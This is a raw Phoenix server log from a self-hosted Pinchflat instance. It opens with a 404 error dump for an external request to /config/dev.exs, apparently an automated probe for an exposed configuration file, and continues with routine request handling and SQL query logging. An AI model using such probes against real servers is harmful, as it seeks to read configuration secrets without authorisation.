private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/config/dev.exs", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxUoj0xohImQAABZo"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/dev.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/dev.exs", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forw (truncated) 04:52:52.060 [info] GET /settings 04:52:52.060 [info] GET /sources/31/media/141299 04:52:52.060 [info] GET /sources/30/media/141479 04:52:52.060 [info] GET /sources/30 04:52:52.061 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 04:52:52.061 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 04:52:52.061 [info] GET /app_info 04:52:52.061 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 04:52:52.061 [info] GET /sources/31/media/90907 04:52:52.061 [info] GET /sources/31 04:52:52.061 [info] GET /sources/31/media/90767 04:52:52.061 [info] GET /sources/31/media/141080 04:52:52.061 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 04:52:52.061 [info] GET /sources/30/media/141039 04:52:52.061 [info] GET /sources/31/media/90892 04:52:52.062 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 04:52:52.062 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 04:52:52.062 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 04:52:52.062 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90767", "source_id" => "31"} Pipelines: [:browser] 04:52:52.061 [info] GET /sources/31/media/90894 04:52:52.062 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141039", "source_id" => "30"} Pipelines: [:browser] 04:52:52.062 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90894", "source_id" => "31"} Pipelines: [:browser] 04:52:52.063 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90892", "source_id" => "31"} Pipelines: [:browser] 04:52:52.062 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90907", "source_id" => "31"} Pipelines: [:browser] 04:52:52.063 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=544.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 04:52:52.064 [debug] QUERY OK source="settings" db=0.9ms queue=1.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.065 [debug] QUERY OK source="sources" db=2.3ms queue=0.2ms idle=544.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:52.065 [info] GET /sources/31/media/91114 04:52:52.065 [info] GET / 04:52:52.065 [info] GET /sources 04:52:52.065 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91114", "source_id" => "31"} Pipelines: [:browser] 04:52:52.065 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:52:52.065 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 04:52:52.065 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=545.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 04:52:52.065 [debug] QUERY OK source="sources" db=0.3ms queue=2.3ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.065 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=331.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 04:52:52.065 [debug] QUERY OK source="settings" db=0.7ms queue=1.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.065 [debug] QUERY OK source="media_items" db=0.5ms queue=2.1ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 04:52:52.066 [debug] QUERY OK source="media_items" db=4.4ms queue=0.2ms idle=544.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 04:52:52.066 [debug] QUERY OK source="media_items" db=0.9ms queue=2.0ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90907] 04:52:52.066 [debug] QUERY OK source="media_items" db=1.0ms queue=2.4ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 04:52:52.066 [debug] QUERY OK source="media_items" db=1.4ms queue=1.8ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 04:52:52.067 [debug] QUERY OK source="media_profiles" db=0.7ms queue=1.6ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:52.067 [debug] QUERY OK source="tasks" db=1.1ms queue=1.7ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 04:52:52.067 [debug] QUERY OK source="sources" db=0.8ms queue=0.8ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:52.068 [debug] QUERY OK source="sources" db=2.0ms queue=1.1ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.068 [debug] QUERY OK source="settings" db=1.5ms queue=1.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.068 [debug] QUERY OK source="tasks" db=0.8ms queue=1.7ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90767] 04:52:52.068 [debug] QUERY OK source="tasks" db=0.5ms queue=1.8ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141039] 04:52:52.068 [debug] QUERY OK source="settings" db=0.1ms queue=3.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.068 [debug] QUERY OK source="settings" db=0.7ms queue=1.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.068 [debug] QUERY OK source="sources" db=1.1ms queue=1.7ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.069 [debug] QUERY OK source="media_items" db=0.7ms queue=3.2ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91114] 04:52:52.069 [debug] QUERY OK source="tasks" db=0.4ms queue=3.2ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 04:52:52.069 [debug] QUERY OK source="settings" db=0.7ms queue=3.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.069 [debug] QUERY OK source="tasks" db=0.4ms queue=2.5ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 04:52:52.069 [debug] QUERY OK source="media_profiles" db=1.1ms queue=3.0ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:52:52.070 [debug] QUERY OK source="sources" db=0.8ms queue=2.3ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.070 [debug] QUERY OK source="sources" db=0.9ms queue=2.8ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:52:52.070 [debug] QUERY OK source="sources" db=1.6ms queue=3.4ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.070 [debug] QUERY OK source="sources" db=0.5ms queue=3.1ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.071 [debug] QUERY OK source="tasks" db=1.2ms queue=2.7ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90894] 04:52:52.071 [debug] QUERY OK source="tasks" db=1.5ms queue=2.7ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90907] 04:52:52.071 [debug] QUERY OK source="tasks" db=0.8ms queue=3.5ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90892] 04:52:52.071 [debug] QUERY OK source="oban_jobs" db=0.9ms queue=2.7ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 04:52:52.072 [debug] QUERY OK source="settings" db=0.5ms queue=2.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.072 [debug] QUERY OK source="settings" db=0.6ms queue=2.7ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:52.072 [debug] QUERY OK source="sources" db=1.4ms queue=3.7ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:52.072 [debug] QUERY OK source="tasks" db=1.4ms queue=3.2ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 04:52:52.072 [debug] QUERY OK source="media_profiles" db=0.4ms queue=3.5ms idle=0.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:52:52.072 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=3.1ms idle=0.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7246] 04:52:52.073 [debug] QUERY OK source="settings" db=0.2ms queue=2.9ms idle=0.0ms SELECT s0."id", s0."onboarding", 